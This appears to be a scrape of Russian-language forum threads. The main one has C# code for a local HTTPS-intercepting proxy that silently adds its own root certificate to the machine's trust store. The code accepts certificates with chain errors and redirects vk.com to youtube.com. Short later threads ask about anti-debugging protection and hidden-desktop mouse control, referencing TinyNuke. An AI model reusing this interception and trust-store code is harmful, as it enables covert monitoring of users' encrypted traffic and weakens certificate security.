            //RegistryKey registry = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings", true);

            //string proxyAddr = proxyhost.Split(':')[0];

            try

            {

                RegistryKey registry = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings", true);



                // Отключить использование прокси-сервера

                registry.SetValue("ProxyEnable", 0);



                // Удалить адрес и порт прокси-сервера

                registry.DeleteValue("ProxyServer", false);



                // Применить настройки

                registry.Close();

                RefreshInternetSettings();



                //registry.SetValue("ProxyEnable", 0);

                //registry.SetValue("ProxyServer", 0);

                //if ((int)registry.GetValue("ProxyEnable", 1) == 1)

                //    Console.WriteLine("");

                //else { }

                //InternetSetOption(IntPtr.Zero, INTERNET_OPTION_SETTINGS_CHANGED, IntPtr.Zero, 0);

                //InternetSetOption(IntPtr.Zero, INTERNET_OPTION_REFRESH, IntPtr.Zero, 0);



            }

            catch (Exception ex)

            {

                Console.WriteLine(ex.ToString());

            } //{ //Console.WriteLine("Ошибка: " + ex.ToString()); }



        }

        private static void RefreshInternetSettings()

        {

            // Обновить настройки Интернета

            InternetSetOption(IntPtr.Zero, INTERNET_OPTION_SETTINGS_CHANGED, IntPtr.Zero, 0);

            InternetSetOption(IntPtr.Zero, INTERNET_OPTION_REFRESH, IntPtr.Zero, 0);

        }

И есть такой код для отлова пакетов и переадресации с vk.com на youtube.com

C#:Copy to clipboard

public static ProxyServer proxyServer = new ProxyServer();



 public static void Start()

        {



                proxyServer.CertificateManager.CertificateEngine = CertificateEngine.BouncyCastle;







                var endpoint = new ExplicitProxyEndPoint(System.Net.IPAddress.Any, 8484, true);

                proxyServer.AddEndPoint(endpoint);

                proxyServer.ServerCertificateValidationCallback += OnCertificateValidation;

                proxyServer.BeforeRequest += OnRequest;

                //proxyServer.ClientCertificateSelectionCallback -= OnCertificateSelection;

                //Thread.Sleep(1000);

                X509Certificate2 cert = new X509Certificate2(Path.Combine(System.IO.Path.GetDirectoryName(System.Reflection.Assembly.GetExecutingAssembly().Location), "rootCert.pfx"));



                // создаем объект хранилища корневых сертификатов

                X509Store store = new X509Store(StoreName.Root, StoreLocation.LocalMachine);



                // открываем хранилище для записи

                store.Open(OpenFlags.ReadWrite);



                // добавляем сертификат в хранилище

                store.Add(cert);



                // закрываем хранилище

                store.Close();

                proxyServer.Start();

                Console.WriteLine("ОСНОВНОЙ СЕРВЕР ЗАПУСТИЛИ!");





        }



        public static void Stop()

        {

            proxyServer.BeforeRequest -= OnRequest;

            proxyServer.Stop();

            Console.WriteLine("СТОПАНУЛ СЕРВАК!!!!!!!!!!!!!!!!!!!!!!!!!!!!");

        }



        private static async Task OnRequest(object sender, SessionEventArgs e)

        {



            Console.WriteLine("Зашли в редирект");

            Console.WriteLine(e.HttpClient.Request.RequestUri.Host.ToString());

            var host = e.HttpClient.Request.RequestUri.Host.ToLower();

            var host_ip = e.HttpClient.Request.RequestUriString.ToLower();

            Console.WriteLine(host);

            Console.WriteLine(host_ip);



            if (e.HttpClient.Request.RequestUri.Host.ToString().Contains("vk.com"))

            {

                Console.WriteLine("Редиректаем на ЮТТТТТТТТТТТТТТТТТТТТТТТТТТТТТ");

                e.Redirect("https://youtube.com");

                Console.WriteLine("РЕДИРЕКТНУЛИИИИИИИИИИИИИИИИИИИИИИИИИИИИИИИИИИ");

            }



        }





    

        //static extern IntPtr GetForegroundWindow();



        private static Task OnCertificateValidation(object sender, CertificateValidationEventArgs e)

        {

            // игнорирование некоторых ошибок SSL-сертификата

            if (e.SslPolicyErrors == System.Net.Security.SslPolicyErrors.None)

            {

                e.IsValid = true;

            }



            if (e.SslPolicyErrors == System.Net.Security.SslPolicyErrors.RemoteCertificateChainErrors)

            {

                foreach (X509ChainStatus chainStatus in e.Chain.ChainStatus)

                {

                    if (chainStatus.Status != X509ChainStatusFlags.RevocationStatusUnknown &&

                        chainStatus.Status != X509ChainStatusFlags.NoError)

                    {

                        e.IsValid = false;

                    }

                }



                e.IsValid = true;

            }



            //return false;

            return Task.CompletedTask;

        }

Я думал, что не работает код для отлова пакетов и переадресации с vk.com на youtube.com на других компьютерах, хотя в нём нет ошибок и скачаны все нужные для его работы библиотеки, на моём компьютере он работает,но, когда мой друг запускает его, то он не работает, я немного подебажил его, проводил тесты и увидел, что программа не работает из-за того, что, скорее всего, не устанавливаются прокси в систему, потому что, когда мой друг сам в настройках системы указал адрес прокси "127.0.0.1" и нужный порт, потом запустил мой код, то он начал ловить пакеты и делать переадресацию, в настройках браузера используются системные прокси, но, видимо, мой код, почему-то, не устанавливает в настройки системных прокси адрес прокси "127.0.0.1" и нужный порт, как решить эту проблему, с чем она может быть связана?

Защита исполняемого файла от дебага, анализа и т. п.
ID: 6765d804b4103b69df3757b9
Thread ID: 95023
Created: 2023-08-07T10:05:45+0000
Last Post: 2023-08-07T10:05:45+0000
Author: dirwin
Replies: 0 Views: 110

Как защитить ?

как на своем созданом десктопе сделать mouseEvent?
ID: 6765d804b4103b69df3757c3
Thread ID: 93945
Created: 2023-07-25T15:13:05+0000
Last Post: 2023-07-25T15:13:05+0000
Author: dirwin
Replies: 0 Views: 102

Тини нюк я смотрел, но чет его реализация не работает
И пробовал ставить треад и просто маус евент , все четно

бесплатные книги по программированию
ID: 6765d804b4103b69df3757be
Thread ID: 94474
Created: 2023-08-01T01:04:26+0000
Last Post: 2023-08-01T01:04:26+0000
Author: voldemort
Replies: 0 Views: 95

https://goalkicker.com/
наслаждаться